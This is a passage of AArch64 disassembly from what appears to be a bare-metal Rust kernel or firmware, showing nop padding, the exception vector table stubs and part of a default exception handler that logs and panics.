84340: d503201f nop
84344: d503201f nop
84348: d503201f nop
8434c: d503201f nop
84350: d503201f nop
84354: d503201f nop
84358: d503201f nop
8435c: d503201f nop
84360: d503201f nop
84364: d503201f nop
84368: d503201f nop
8436c: d503201f nop
84370: d503201f nop
84374: d503201f nop
84378: d503201f nop
8437c: d503201f nop
84380: d503201f nop
84384: d503201f nop
84388: d503201f nop
8438c: d503201f nop
84390: d503201f nop
84394: d503201f nop
84398: d503201f nop
8439c: d503201f nop
843a0: d503201f nop
843a4: d503201f nop
843a8: d503201f nop
843ac: d503201f nop
843b0: d503201f nop
843b4: d503201f nop
843b8: d503201f nop
843bc: d503201f nop
843c0: d503201f nop
843c4: d503201f nop
843c8: d503201f nop
843cc: d503201f nop
843d0: d503201f nop
843d4: d503201f nop
843d8: d503201f nop
843dc: d503201f nop
843e0: d503201f nop
843e4: d503201f nop
843e8: d503201f nop
843ec: d503201f nop
843f0: d503201f nop
843f4: d503201f nop
843f8: d503201f nop
843fc: d503201f nop
84400: d503201f nop
84404: d503201f nop
84408: d503201f nop
8440c: d503201f nop
84410: d503201f nop
84414: d503201f nop
84418: d503201f nop
8441c: d503201f nop
84420: d503201f nop
84424: d503201f nop
84428: d503201f nop
8442c: d503201f nop
84430: d503201f nop
84434: d503201f nop
84438: d503201f nop
8443c: d503201f nop
84440: d503201f nop
84444: d503201f nop
84448: d503201f nop
8444c: d503201f nop
84450: d503201f nop
84454: d503201f nop
84458: d503201f nop
8445c: d503201f nop
84460: d503201f nop
84464: d503201f nop
84468: d503201f nop
8446c: d503201f nop
84470: d503201f nop
84474: d503201f nop
84478: d503201f nop
8447c: d503201f nop
84480: d503201f nop
84484: d503201f nop
84488: d503201f nop
8448c: d503201f nop
84490: d503201f nop
84494: d503201f nop
84498: d503201f nop
8449c: d503201f nop
844a0: d503201f nop
844a4: d503201f nop
844a8: d503201f nop
844ac: d503201f nop
844b0: d503201f nop
844b4: d503201f nop
844b8: d503201f nop
844bc: d503201f nop
844c0: d503201f nop
844c4: d503201f nop
844c8: d503201f nop
844cc: d503201f nop
844d0: d503201f nop
844d4: d503201f nop
844d8: d503201f nop
844dc: d503201f nop
844e0: d503201f nop
844e4: d503201f nop
844e8: d503201f nop
844ec: d503201f nop
844f0: d503201f nop
844f4: d503201f nop
844f8: d503201f nop
844fc: d503201f nop
84500: d503201f nop
84504: d503201f nop
84508: d503201f nop
8450c: d503201f nop
84510: d503201f nop
84514: d503201f nop
84518: d503201f nop
8451c: d503201f nop
84520: d503201f nop
84524: d503201f nop
84528: d503201f nop
8452c: d503201f nop
84530: d503201f nop
84534: d503201f nop
84538: d503201f nop
8453c: d503201f nop
84540: d503201f nop
84544: d503201f nop
84548: d503201f nop
8454c: d503201f nop
84550: d503201f nop
84554: d503201f nop
84558: d503201f nop
8455c: d503201f nop
84560: d503201f nop
84564: d503201f nop
84568: d503201f nop
8456c: d503201f nop
84570: d503201f nop
84574: d503201f nop
84578: d503201f nop
8457c: d503201f nop
84580: d503201f nop
84584: d503201f nop
84588: d503201f nop
8458c: d503201f nop
84590: d503201f nop
84594: d503201f nop
84598: d503201f nop
8459c: d503201f nop
845a0: d503201f nop
845a4: d503201f nop
845a8: d503201f nop
845ac: d503201f nop
845b0: d503201f nop
845b4: d503201f nop
845b8: d503201f nop
845bc: d503201f nop
845c0: d503201f nop
845c4: d503201f nop
845c8: d503201f nop
845cc: d503201f nop
845d0: d503201f nop
845d4: d503201f nop
845d8: d503201f nop
845dc: d503201f nop
845e0: d503201f nop
845e4: d503201f nop
845e8: d503201f nop
845ec: d503201f nop
845f0: d503201f nop
845f4: d503201f nop
845f8: d503201f nop
845fc: d503201f nop
84600: d503201f nop
84604: d503201f nop
84608: d503201f nop
8460c: d503201f nop
84610: d503201f nop
84614: d503201f nop
84618: d503201f nop
8461c: d503201f nop
84620: d503201f nop
84624: d503201f nop
84628: d503201f nop
8462c: d503201f nop
84630: d503201f nop
84634: d503201f nop
84638: d503201f nop
8463c: d503201f nop
84640: d503201f nop
84644: d503201f nop
84648: d503201f nop
8464c: d503201f nop
84650: d503201f nop
84654: d503201f nop
84658: d503201f nop
8465c: d503201f nop
84660: d503201f nop
84664: d503201f nop
84668: d503201f nop
8466c: d503201f nop
84670: d503201f nop
84674: d503201f nop
84678: d503201f nop
8467c: d503201f nop
84680: d503201f nop
84684: d503201f nop
84688: d503201f nop
8468c: d503201f nop
84690: d503201f nop
84694: d503201f nop
84698: d503201f nop
8469c: d503201f nop
846a0: d503201f nop
846a4: d503201f nop
846a8: d503201f nop
846ac: d503201f nop
846b0: d503201f nop
846b4: d503201f nop
846b8: d503201f nop
846bc: d503201f nop
846c0: d503201f nop
846c4: d503201f nop
846c8: d503201f nop
846cc: d503201f nop
846d0: d503201f nop
846d4: d503201f nop
846d8: d503201f nop
846dc: d503201f nop
846e0: d503201f nop
846e4: d503201f nop
846e8: d503201f nop
846ec: d503201f nop
846f0: d503201f nop
846f4: d503201f nop
846f8: d503201f nop
846fc: d503201f nop
84700: d503201f nop
84704: d503201f nop
84708: d503201f nop
8470c: d503201f nop
84710: d503201f nop
84714: d503201f nop
84718: d503201f nop
8471c: d503201f nop
84720: d503201f nop
84724: d503201f nop
84728: d503201f nop
8472c: d503201f nop
84730: d503201f nop
84734: d503201f nop
84738: d503201f nop
8473c: d503201f nop
84740: d503201f nop
84744: d503201f nop
84748: d503201f nop
8474c: d503201f nop
84750: d503201f nop
84754: d503201f nop
84758: d503201f nop
8475c: d503201f nop
84760: d503201f nop
84764: d503201f nop
84768: d503201f nop
8476c: d503201f nop
84770: d503201f nop
84774: d503201f nop
84778: d503201f nop
8477c: d503201f nop
84780: d503201f nop
84784: d503201f nop
84788: d503201f nop
8478c: d503201f nop
84790: d503201f nop
84794: d503201f nop
84798: d503201f nop
8479c: d503201f nop
847a0: d503201f nop
847a4: d503201f nop
847a8: d503201f nop
847ac: d503201f nop
847b0: d503201f nop
847b4: d503201f nop
847b8: d503201f nop
847bc: d503201f nop
847c0: d503201f nop
847c4: d503201f nop
847c8: d503201f nop
847cc: d503201f nop
847d0: d503201f nop
847d4: d503201f nop
847d8: d503201f nop
847dc: d503201f nop
847e0: d503201f nop
847e4: d503201f nop
847e8: d503201f nop
847ec: d503201f nop
847f0: d503201f nop
847f4: d503201f nop
847f8: d503201f nop
847fc: d503201f nop
0000000000084800 <__ExceptionVectorTable>:
84800: d10043ff sub sp, sp, #0x10
84804: a9007be0 stp x0, x30, [sp]
84808: d2800020 mov x0, #0x1 // #1
8480c: 97fffdfd bl 84000 <__exception_trampoline>
84810: a9407be0 ldp x0, x30, [sp]
84814: 910043ff add sp, sp, #0x10
84818: d69f03e0 eret
8481c: d503201f nop
84820: d503201f nop
84824: d503201f nop
84828: d503201f nop
8482c: d503201f nop
84830: d503201f nop
84834: d503201f nop
84838: d503201f nop
8483c: d503201f nop
84840: d503201f nop
84844: d503201f nop
84848: d503201f nop
8484c: d503201f nop
84850: d503201f nop
84854: d503201f nop
84858: d503201f nop
8485c: d503201f nop
84860: d503201f nop
84864: d503201f nop
84868: d503201f nop
8486c: d503201f nop
84870: d503201f nop
84874: d503201f nop
84878: d503201f nop
8487c: d503201f nop
0000000000084880 <.EXC_CURREL_SP0_Irq>:
84880: d10043ff sub sp, sp, #0x10
84884: a9007be0 stp x0, x30, [sp]
84888: d2800040 mov x0, #0x2 // #2
8488c: 97fffddd bl 84000 <__exception_trampoline>
84890: a9407be0 ldp x0, x30, [sp]
84894: 910043ff add sp, sp, #0x10
84898: d69f03e0 eret
8489c: d503201f nop
848a0: d503201f nop
848a4: d503201f nop
848a8: d503201f nop
848ac: d503201f nop
848b0: d503201f nop
848b4: d503201f nop
848b8: d503201f nop
848bc: d503201f nop
848c0: d503201f nop
848c4: d503201f nop
848c8: d503201f nop
848cc: d503201f nop
848d0: d503201f nop
848d4: d503201f nop
848d8: d503201f nop
848dc: d503201f nop
848e0: d503201f nop
848e4: d503201f nop
848e8: d503201f nop
848ec: d503201f nop
848f0: d503201f nop
848f4: d503201f nop
848f8: d503201f nop
848fc: d503201f nop
0000000000084900 <.EXC_CURREL_SP0_Fiq>:
84900: d10043ff sub sp, sp, #0x10
84904: a9007be0 stp x0, x30, [sp]
84908: d2800060 mov x0, #0x3 // #3
8490c: 97fffdbd bl 84000 <__exception_trampoline>
84910: a9407be0 ldp x0, x30, [sp]
84914: 910043ff add sp, sp, #0x10
84918: d69f03e0 eret
8491c: d503201f nop
84920: d503201f nop
84924: d503201f nop
84928: d503201f nop
8492c: d503201f nop
84930: d503201f nop
84934: d503201f nop
84938: d503201f nop
8493c: d503201f nop
84940: d503201f nop
84944: d503201f nop
84948: d503201f nop
8494c: d503201f nop
84950: d503201f nop
84954: d503201f nop
84958: d503201f nop
8495c: d503201f nop
84960: d503201f nop
84964: d503201f nop
84968: d503201f nop
8496c: d503201f nop
84970: d503201f nop
84974: d503201f nop
84978: d503201f nop
8497c: d503201f nop
0000000000084980 <.EXC_CURREL_SP0_SErr>:
84980: d10043ff sub sp, sp, #0x10
84984: a9007be0 stp x0, x30, [sp]
84988: d2800080 mov x0, #0x4 // #4
8498c: 97fffd9d bl 84000 <__exception_trampoline>
84990: a9407be0 ldp x0, x30, [sp]
84994: 910043ff add sp, sp, #0x10
84998: d69f03e0 eret
8499c: d503201f nop
849a0: d503201f nop
849a4: d503201f nop
849a8: d503201f nop
849ac: d503201f nop
849b0: d503201f nop
849b4: d503201f nop
849b8: d503201f nop
849bc: d503201f nop
849c0: d503201f nop
849c4: d503201f nop
849c8: d503201f nop
849cc: d503201f nop
849d0: d503201f nop
849d4: d503201f nop
849d8: d503201f nop
849dc: d503201f nop
849e0: d503201f nop
849e4: d503201f nop
849e8: d503201f nop
849ec: d503201f nop
849f0: d503201f nop
849f4: d503201f nop
849f8: d503201f nop
849fc: d503201f nop
0000000000084a00 <.EXC_CURREL_SPX_Sync>:
84a00: d10043ff sub sp, sp, #0x10
84a04: a9007be0 stp x0, x30, [sp]
84a08: d2800220 mov x0, #0x11 // #17
84a0c: 97fffd7d bl 84000 <__exception_trampoline>
84a10: a9407be0 ldp x0, x30, [sp]
84a14: 910043ff add sp, sp, #0x10
84a18: d69f03e0 eret
84a1c: d503201f nop
84a20: d503201f nop
84a24: d503201f nop
84a28: d503201f nop
84a2c: d503201f nop
84a30: d503201f nop
84a34: d503201f nop
84a38: d503201f nop
84a3c: d503201f nop
84a40: d503201f nop
84a44: d503201f nop
84a48: d503201f nop
84a4c: d503201f nop
84a50: d503201f nop
84a54: d503201f nop
84a58: d503201f nop
84a5c: d503201f nop
84a60: d503201f nop
84a64: d503201f nop
84a68: d503201f nop
84a6c: d503201f nop
84a70: d503201f nop
84a74: d503201f nop
84a78: d503201f nop
84a7c: d503201f nop
0000000000084a80 <.EXC_CURREL_SPX_Irq>:
84a80: d10043ff sub sp, sp, #0x10
84a84: a9007be0 stp x0, x30, [sp]
84a88: d2800240 mov x0, #0x12 // #18
84a8c: 97fffd5d bl 84000 <__exception_trampoline>
84a90: a9407be0 ldp x0, x30, [sp]
84a94: 910043ff add sp, sp, #0x10
84a98: d69f03e0 eret
84a9c: d503201f nop
84aa0: d503201f nop
84aa4: d503201f nop
84aa8: d503201f nop
84aac: d503201f nop
84ab0: d503201f nop
84ab4: d503201f nop
84ab8: d503201f nop
84abc: d503201f nop
84ac0: d503201f nop
84ac4: d503201f nop
84ac8: d503201f nop
84acc: d503201f nop
84ad0: d503201f nop
84ad4: d503201f nop
84ad8: d503201f nop
84adc: d503201f nop
84ae0: d503201f nop
84ae4: d503201f nop
84ae8: d503201f nop
84aec: d503201f nop
84af0: d503201f nop
84af4: d503201f nop
84af8: d503201f nop
84afc: d503201f nop
0000000000084b00 <.EXC_CURREL_SPX_Fiq>:
84b00: d10043ff sub sp, sp, #0x10
84b04: a9007be0 stp x0, x30, [sp]
84b08: d2800260 mov x0, #0x13 // #19
84b0c: 97fffd3d bl 84000 <__exception_trampoline>
84b10: a9407be0 ldp x0, x30, [sp]
84b14: 910043ff add sp, sp, #0x10
84b18: d69f03e0 eret
84b1c: d503201f nop
84b20: d503201f nop
84b24: d503201f nop
84b28: d503201f nop
84b2c: d503201f nop
84b30: d503201f nop
84b34: d503201f nop
84b38: d503201f nop
84b3c: d503201f nop
84b40: d503201f nop
84b44: d503201f nop
84b48: d503201f nop
84b4c: d503201f nop
84b50: d503201f nop
84b54: d503201f nop
84b58: d503201f nop
84b5c: d503201f nop
84b60: d503201f nop
84b64: d503201f nop
84b68: d503201f nop
84b6c: d503201f nop
84b70: d503201f nop
84b74: d503201f nop
84b78: d503201f nop
84b7c: d503201f nop
0000000000084b80 <.EXC_CURREL_SPX_SErr>:
84b80: d10043ff sub sp, sp, #0x10
84b84: a9007be0 stp x0, x30, [sp]
84b88: d2800280 mov x0, #0x14 // #20
84b8c: 97fffd1d bl 84000 <__exception_trampoline>
84b90: a9407be0 ldp x0, x30, [sp]
84b94: 910043ff add sp, sp, #0x10
84b98: d69f03e0 eret
84b9c: d503201f nop
84ba0: d503201f nop
84ba4: d503201f nop
84ba8: d503201f nop
84bac: d503201f nop
84bb0: d503201f nop
84bb4: d503201f nop
84bb8: d503201f nop
84bbc: d503201f nop
84bc0: d503201f nop
84bc4: d503201f nop
84bc8: d503201f nop
84bcc: d503201f nop
84bd0: d503201f nop
84bd4: d503201f nop
84bd8: d503201f nop
84bdc: d503201f nop
84be0: d503201f nop
84be4: d503201f nop
84be8: d503201f nop
84bec: d503201f nop
84bf0: d503201f nop
84bf4: d503201f nop
84bf8: d503201f nop
84bfc: d503201f nop
0000000000084c00 <.EXC_LOWEREL64_SPX_Sync>:
84c00: d10043ff sub sp, sp, #0x10
84c04: a9007be0 stp x0, x30, [sp]
84c08: d2800420 mov x0, #0x21 // #33
84c0c: 97fffcfd bl 84000 <__exception_trampoline>
84c10: a9407be0 ldp x0, x30, [sp]
84c14: 910043ff add sp, sp, #0x10
84c18: d69f03e0 eret
84c1c: d503201f nop
84c20: d503201f nop
84c24: d503201f nop
84c28: d503201f nop
84c2c: d503201f nop
84c30: d503201f nop
84c34: d503201f nop
84c38: d503201f nop
84c3c: d503201f nop
84c40: d503201f nop
84c44: d503201f nop
84c48: d503201f nop
84c4c: d503201f nop
84c50: d503201f nop
84c54: d503201f nop
84c58: d503201f nop
84c5c: d503201f nop
84c60: d503201f nop
84c64: d503201f nop
84c68: d503201f nop
84c6c: d503201f nop
84c70: d503201f nop
84c74: d503201f nop
84c78: d503201f nop
84c7c: d503201f nop
0000000000084c80 <.EXC_LOWEREL64_SPX_Irq>:
84c80: d10043ff sub sp, sp, #0x10
84c84: a9007be0 stp x0, x30, [sp]
84c88: d2800440 mov x0, #0x22 // #34
84c8c: 97fffcdd bl 84000 <__exception_trampoline>
84c90: a9407be0 ldp x0, x30, [sp]
84c94: 910043ff add sp, sp, #0x10
84c98: d69f03e0 eret
84c9c: d503201f nop
84ca0: d503201f nop
84ca4: d503201f nop
84ca8: d503201f nop
84cac: d503201f nop
84cb0: d503201f nop
84cb4: d503201f nop
84cb8: d503201f nop
84cbc: d503201f nop
84cc0: d503201f nop
84cc4: d503201f nop
84cc8: d503201f nop
84ccc: d503201f nop
84cd0: d503201f nop
84cd4: d503201f nop
84cd8: d503201f nop
84cdc: d503201f nop
84ce0: d503201f nop
84ce4: d503201f nop
84ce8: d503201f nop
84cec: d503201f nop
84cf0: d503201f nop
84cf4: d503201f nop
84cf8: d503201f nop
84cfc: d503201f nop
0000000000084d00 <.EXC_LOWEREL64_SPX_Fiq>:
84d00: d10043ff sub sp, sp, #0x10
84d04: a9007be0 stp x0, x30, [sp]
84d08: d2800460 mov x0, #0x23 // #35
84d0c: 97fffcbd bl 84000 <__exception_trampoline>
84d10: a9407be0 ldp x0, x30, [sp]
84d14: 910043ff add sp, sp, #0x10
84d18: d69f03e0 eret
84d1c: d503201f nop
84d20: d503201f nop
84d24: d503201f nop
84d28: d503201f nop
84d2c: d503201f nop
84d30: d503201f nop
84d34: d503201f nop
84d38: d503201f nop
84d3c: d503201f nop
84d40: d503201f nop
84d44: d503201f nop
84d48: d503201f nop
84d4c: d503201f nop
84d50: d503201f nop
84d54: d503201f nop
84d58: d503201f nop
84d5c: d503201f nop
84d60: d503201f nop
84d64: d503201f nop
84d68: d503201f nop
84d6c: d503201f nop
84d70: d503201f nop
84d74: d503201f nop
84d78: d503201f nop
84d7c: d503201f nop
0000000000084d80 <.EXC_LOWEREL64_SPX_SErr>:
84d80: d10043ff sub sp, sp, #0x10
84d84: a9007be0 stp x0, x30, [sp]
84d88: d2800480 mov x0, #0x24 // #36
84d8c: 97fffc9d bl 84000 <__exception_trampoline>
84d90: a9407be0 ldp x0, x30, [sp]
84d94: 910043ff add sp, sp, #0x10
84d98: d69f03e0 eret
84d9c: d503201f nop
84da0: d503201f nop
84da4: d503201f nop
84da8: d503201f nop
84dac: d503201f nop
84db0: d503201f nop
84db4: d503201f nop
84db8: d503201f nop
84dbc: d503201f nop
84dc0: d503201f nop
84dc4: d503201f nop
84dc8: d503201f nop
84dcc: d503201f nop
84dd0: d503201f nop
84dd4: d503201f nop
84dd8: d503201f nop
84ddc: d503201f nop
84de0: d503201f nop
84de4: d503201f nop
84de8: d503201f nop
84dec: d503201f nop
84df0: d503201f nop
84df4: d503201f nop
84df8: d503201f nop
84dfc: d503201f nop
0000000000084e00 <.EXC_LOWEREL32_SPX_Sync>:
84e00: d10043ff sub sp, sp, #0x10
84e04: a9007be0 stp x0, x30, [sp]
84e08: d2800620 mov x0, #0x31 // #49
84e0c: 97fffc7d bl 84000 <__exception_trampoline>
84e10: a9407be0 ldp x0, x30, [sp]
84e14: 910043ff add sp, sp, #0x10
84e18: d69f03e0 eret
84e1c: d503201f nop
84e20: d503201f nop
84e24: d503201f nop
84e28: d503201f nop
84e2c: d503201f nop
84e30: d503201f nop
84e34: d503201f nop
84e38: d503201f nop
84e3c: d503201f nop
84e40: d503201f nop
84e44: d503201f nop
84e48: d503201f nop
84e4c: d503201f nop
84e50: d503201f nop
84e54: d503201f nop
84e58: d503201f nop
84e5c: d503201f nop
84e60: d503201f nop
84e64: d503201f nop
84e68: d503201f nop
84e6c: d503201f nop
84e70: d503201f nop
84e74: d503201f nop
84e78: d503201f nop
84e7c: d503201f nop
0000000000084e80 <.EXC_LOWEREL32_SPX_Irq>:
84e80: d10043ff sub sp, sp, #0x10
84e84: a9007be0 stp x0, x30, [sp]
84e88: d2800640 mov x0, #0x32 // #50
84e8c: 97fffc5d bl 84000 <__exception_trampoline>
84e90: a9407be0 ldp x0, x30, [sp]
84e94: 910043ff add sp, sp, #0x10
84e98: d69f03e0 eret
84e9c: d503201f nop
84ea0: d503201f nop
84ea4: d503201f nop
84ea8: d503201f nop
84eac: d503201f nop
84eb0: d503201f nop
84eb4: d503201f nop
84eb8: d503201f nop
84ebc: d503201f nop
84ec0: d503201f nop
84ec4: d503201f nop
84ec8: d503201f nop
84ecc: d503201f nop
84ed0: d503201f nop
84ed4: d503201f nop
84ed8: d503201f nop
84edc: d503201f nop
84ee0: d503201f nop
84ee4: d503201f nop
84ee8: d503201f nop
84eec: d503201f nop
84ef0: d503201f nop
84ef4: d503201f nop
84ef8: d503201f nop
84efc: d503201f nop
0000000000084f00 <.EXC_LOWEREL32_SPX_Fiq>:
84f00: d10043ff sub sp, sp, #0x10
84f04: a9007be0 stp x0, x30, [sp]
84f08: d2800660 mov x0, #0x33 // #51
84f0c: 97fffc3d bl 84000 <__exception_trampoline>
84f10: a9407be0 ldp x0, x30, [sp]
84f14: 910043ff add sp, sp, #0x10
84f18: d69f03e0 eret
84f1c: d503201f nop
84f20: d503201f nop
84f24: d503201f nop
84f28: d503201f nop
84f2c: d503201f nop
84f30: d503201f nop
84f34: d503201f nop
84f38: d503201f nop
84f3c: d503201f nop
84f40: d503201f nop
84f44: d503201f nop
84f48: d503201f nop
84f4c: d503201f nop
84f50: d503201f nop
84f54: d503201f nop
84f58: d503201f nop
84f5c: d503201f nop
84f60: d503201f nop
84f64: d503201f nop
84f68: d503201f nop
84f6c: d503201f nop
84f70: d503201f nop
84f74: d503201f nop
84f78: d503201f nop
84f7c: d503201f nop
0000000000084f80 <.EXC_LOWEREL32_SPX_SErr>:
84f80: d10043ff sub sp, sp, #0x10
84f84: a9007be0 stp x0, x30, [sp]
84f88: d2800680 mov x0, #0x34 // #52
84f8c: 97fffc1d bl 84000 <__exception_trampoline>
84f90: a9407be0 ldp x0, x30, [sp]
84f94: 910043ff add sp, sp, #0x10
84f98: d69f03e0 eret
84f9c: d503201f nop
84fa0: d503201f nop
84fa4: d503201f nop
84fa8: d503201f nop
84fac: d503201f nop
84fb0: d503201f nop
84fb4: d503201f nop
84fb8: d503201f nop
84fbc: d503201f nop
84fc0: d503201f nop
84fc4: d503201f nop
84fc8: d503201f nop
84fcc: d503201f nop
84fd0: d503201f nop
84fd4: d503201f nop
84fd8: d503201f nop
84fdc: d503201f nop
84fe0: d503201f nop
84fe4: d503201f nop
84fe8: d503201f nop
84fec: d503201f nop
84ff0: d503201f nop
84ff4: d503201f nop
84ff8: d503201f nop
84ffc: d503201f nop
0000000000085000 <__exception_handler_default>:
85000: d10283ff sub sp, sp, #0xa0
85004: 51000808 sub w8, w0, #0x2
85008: f90043fe str x30, [sp, #128]
8500c: 7100451f cmp w8, #0x11
85010: a9094ff4 stp x20, x19, [sp, #144]
85014: a9000fe2 stp x2, x3, [sp]
85018: f9000be4 str x4, [sp, #16]
8501c: 54000168 b.hi 85048 <__exception_handler_default+0x48> // b.pmore
85020: b0000009 adrp x9, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
85024: 912ab929 add x9, x9, #0xaae
85028: 1000008a adr x10, 85038 <__exception_handler_default+0x38>
8502c: 3868692b ldrb w11, [x9, x8]
85030: 8b0b094a add x10, x10, x11, lsl #2
85034: d61f0140 br x10
85038: a9494ff4 ldp x20, x19, [sp, #144]
8503c: f94043fe ldr x30, [sp, #128]
85040: 910283ff add sp, sp, #0xa0
85044: 17ffed2f b 80500 <__isr_default>
85048: b0000008 adrp x8, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
8504c: f9477508 ldr x8, [x8, #3816]
85050: f9400108 ldr x8, [x8]
85054: b40001c8 cbz x8, 8508c <__exception_handler_default+0x8c>
85058: f0000008 adrp x8, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
8505c: 52800029 mov w9, #0x1 // #1
85060: 91056108 add x8, x8, #0x158
85064: f0000002 adrp x2, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
85068: 9105a042 add x2, x2, #0x168
8506c: 910143e0 add x0, sp, #0x50
85070: 52800021 mov w1, #0x1 // #1
85074: a9067fff stp xzr, xzr, [sp, #96]
85078: a90527e8 stp x8, x9, [sp, #80]
8507c: b0000008 adrp x8, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
85080: 912ba108 add x8, x8, #0xae8
85084: a9077fe8 stp x8, xzr, [sp, #112]
85088: 97fff502 bl 82490 <_ZN3log17__private_api_log17haa499543e16634a1E>
8508c: a9494ff4 ldp x20, x19, [sp, #144]
85090: f94043fe ldr x30, [sp, #128]
85094: 910283ff add sp, sp, #0xa0
85098: d65f03c0 ret
8509c: b0000014 adrp x20, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
850a0: aa0103f3 mov x19, x1
850a4: f9477694 ldr x20, [x20, #3816]
850a8: f9400288 ldr x8, [x20]
850ac: b40002e8 cbz x8, 85108 <__exception_handler_default+0x108>
850b0: b0000009 adrp x9, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
850b4: 910043e8 add x8, sp, #0x10
850b8: 910023ea add x10, sp, #0x8
850bc: f0000002 adrp x2, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
850c0: 91074042 add x2, x2, #0x1d0
850c4: 910063e0 add x0, sp, #0x18
850c8: f9477d29 ldr x9, [x9, #3832]
850cc: 52800021 mov w1, #0x1 // #1
850d0: a90527e8 stp x8, x9, [sp, #80]
850d4: 910003e8 mov x8, sp
850d8: a90627ea stp x10, x9, [sp, #96]
850dc: f000000a adrp x10, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
850e0: 9106814a add x10, x10, #0x1a0
850e4: a90727e8 stp x8, x9, [sp, #112]
850e8: 52800068 mov w8, #0x3 // #3
850ec: b0000009 adrp x9, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
850f0: 912e2129 add x9, x9, #0xb88
850f4: a901a3ea stp x10, x8, [sp, #24]
850f8: 910143ea add x10, sp, #0x50
850fc: a902a3e9 stp x9, x8, [sp, #40]
85100: a903a3ea stp x10, x8, [sp, #56]
85104: 97fff4e3 bl 82490 <_ZN3log17__private_api_log17haa499543e16634a1E>
85108: d35afe69 lsr x9, x19, #26
8510c: f90027e9 str x9, [sp, #72]
85110: f9400288 ldr x8, [x20]
85114: f100051f cmp x8, #0x1
85118: 54000289 b.ls 85168 <__exception_handler_default+0x168> // b.plast
8511c: b0000009 adrp x9, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
85120: 910123e8 add x8, sp, #0x48
85124: f000000a adrp x10, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
85128: b000000b adrp x11, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
8512c: f0000002 adrp x2, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
85130: 9108214a add x10, x10, #0x208
85134: f9478129 ldr x9, [x9, #3840]
85138: 9130c16b add x11, x11, #0xc30
8513c: 5280002c mov w12, #0x1 // #1
85140: 91086042 add x2, x2, #0x218
85144: 910143e0 add x0, sp, #0x50
85148: 52800041 mov w1, #0x2 // #2
8514c: a901a7e8 stp x8, x9, [sp, #24]
85150: 910063e8 add x8, sp, #0x18
85154: a90533ea stp x10, x12, [sp, #80]
85158: a90633eb stp x11, x12, [sp, #96]
8515c: a90733e8 stp x8, x12, [sp, #112]
85160: 97fff4cc bl 82490 <_ZN3log17__private_api_log17haa499543e16634a1E>
85164: f94027e9 ldr x9, [sp, #72]
85168: 92406268 and x8, x19, #0x1ffffff
8516c: f100f13f cmp x9, #0x3c
85170: f90047e8 str x8, [sp, #136]
85174: 54000241 b.ne 851bc <__exception_handler_default+0x1bc> // b.any
85178: f9400288 ldr x8, [x20]
8517c: f1000d1f cmp x8, #0x3
85180: 540001c3 b.cc 851b8 <__exception_handler_default+0x1b8> // b.lo, b.ul, b.last
85184: f0000008 adrp x8, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
85188: 52800029 mov w9, #0x1 // #1
8518c: 9109a108 add x8, x8, #0x268
85190: f0000002 adrp x2, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
85194: 9109e042 add x2, x2, #0x278
85198: 910143e0 add x0, sp, #0x50
8519c: 52800061 mov w1, #0x3 // #3
851a0: a9067fff stp xzr, xzr, [sp, #96]
851a4: a90527e8 stp x8, x9, [sp, #80]
851a8: b0000008 adrp x8, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
851ac: 912ba108 add x8, x8, #0xae8
851b0: a9077fe8 stp x8, xzr, [sp, #112]
851b4: 97fff4b7 bl 82490 <_ZN3log17__private_api_log17haa499543e16634a1E>
851b8: 14000000 b 851b8 <__exception_handler_default+0x1b8>
851bc: f100953f cmp x9, #0x25
851c0: 54000f08 b.hi 853a0 <__exception_handler_default+0x3a0> // b.pmore
851c4: b000000a adrp x10, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
851c8: 912b014a add x10, x10, #0xac0
851cc: 1000008b adr x11, 851dc <__exception_handler_default+0x1dc>
851d0: 3869694c ldrb w12, [x10, x9]
851d4: 8b0c096b add x11, x11, x12, lsl #2
851d8: d61f0160 br x11
851dc: b0000000 adrp x0, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
851e0: f0000002 adrp x2, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
851e4: 9139f000 add x0, x0, #0xe7c
851e8: 91188042 add x2, x2, #0x620
851ec: 528001c1 mov w1, #0xe // #14
851f0: 97fff430 bl 822b0 <_ZN4core9panicking5panic17h1276bf0d71dbfb98E>
851f4: d4200020 brk #0x1
851f8: b0000000 adrp x0, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
851fc: f0000002 adrp x2, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
85200: 91390800 add x0, x0, #0xe42
85204: 528003a1 mov w1, #0x1d // #29
